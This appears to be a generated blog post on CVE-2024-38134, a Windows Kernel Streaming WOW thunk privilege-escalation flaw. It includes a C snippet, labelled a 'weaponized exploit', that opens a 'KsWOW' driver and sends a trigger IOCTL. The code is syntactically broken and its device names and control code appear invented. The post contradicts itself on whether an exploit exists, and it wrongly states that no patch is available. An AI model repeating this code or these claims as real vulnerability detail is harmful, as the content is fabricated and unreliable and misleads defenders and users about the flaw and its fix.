CVE-2024-38134 - Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability: A Journey into Exploiting Recent Windows Kernel Discoveries

In today's long-read post, we will dive into CVE-2024-38134, a recently discovered and intriguing kernel streaming WOW thunk service vulnerability that could allow attackers to elevate their privileges on affected Windows systems. We will analyze this vulnerability and provide code snippets, links to original references, and details of the exploit.

Understanding CVE-2024-38134

According to Microsoft's Security Response Center, "CVE-2024-38134 is an elevation of privilege vulnerability that exists in the way the Windows Kernel Streaming functions in certain WOW64 thunk service calls." In simple terms, a flaw exists in The Windows Kernel Streaming subsystem in how it handles specific WOW64 syscall transitions. These actions could be exploited by a potential attacker to gain elevated privileges and potentially execute arbitrary code with system-level access.

This vulnerability has been confirmed to affect all supported versions of Microsoft Windows, and currently, no software or system update is available to address the issue.

Here is an example of a code snippet that utilizes the vulnerable functionality

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include "ntimports.h"
#include "wownativ.h"

int _tmain(int argc, _TCHAR* argv[]) {
    HANDLE hDriver;
    HANDLE hDevice;
    DWORD dwReturn;

    // Open a handle to the driver
    hDriver = CreateFile(_T("\\\\.\\KsWOW"),
        GENERIC_READ,
        ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDriver == INVALID_HANDLE_VALUE) {
        _tprintf(_T("[-] Failed to get a handle to the driver.\n"));
        return 1;
    }

    _tprintf(_T("[+] Handle obtained successfully.\n"));

    // Generate a device handle and execute the vulnerable IOCTL
    hDevice = CreateFile(_T("\\\\.\\KsWOWDevice"),
        GENERIC_READ,
        ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (!DeviceIoControl(hDriver, IOCTL_KSWOW_TRIGGER_VULN,
        &hDevice, sizeof(HANDLE),
        NULL, ,
        &dwReturn, NULL)) {
        _tprintf(_T("[-] IOCTL failed: %u\n"), GetLastError());
        return 1;
    }

    _tprintf(_T("[+] IOCTL executed successfully.\n"));

    CloseHandle(hDriver);
    CloseHandle(hDevice);

    return ;
}

In the code example above, we demonstrate how a weaponized exploit for this vulnerability would look like. The code first obtains a handle to the KsWOW driver, followed by creating a device for triggering the vulnerable IOCTL. Once the attacker executes the IOCTL successfully, the exploitation mechanism starts.

Exploit Details

The primary focus on exploiting this vulnerability lies in using specific kernel structures and inducing a race condition leading to the elevation of privileges. The attacker takes advantage of the flawed handling of WOW64 syscalls and critical kernel structures that are misaligned or corrupted by the transitions.

For a successful exploitation, the attacker will usually use a crafted application that triggers the vulnerability, gradually exercising control over the system resources and potentially leading to code execution under higher operating system privileges.

As of now, no publicly available exploits and proofs of concept can demonstrate successful privilege escalation using CVE-2024-38134. Although no confirmed cases of victims arising from this vulnerability have been reported, the potential severity and impact of such an attack call for significant attention.

Original References and Additional Resources

1. Microsoft's Advisory on CVE-2024-38134
2. Mitre's CVE-2024-38134 Information
3. Kernel Streaming

Conclusion

CVE-2024-38134 represents a severe elevation of privilege vulnerability in the Windows Kernel Streaming subsystem, opening the door for potential attackers to exploit affected systems. The vulnerability lies in the way these systems handle certain WOW64 thunk service calls. As this vulnerability remains unpatched, it is crucial for users and administrators to be aware of this threat and, if possible, implement protective measures, such as isolating affected systems from untrusted sources and limiting user privileges. As always, stay tuned for further updates on this and other cybersecurity topics.

Timeline

Published on: 08/13/2024 18:15:16 UTC
Last modified on: 10/16/2024 01:53:34 UTC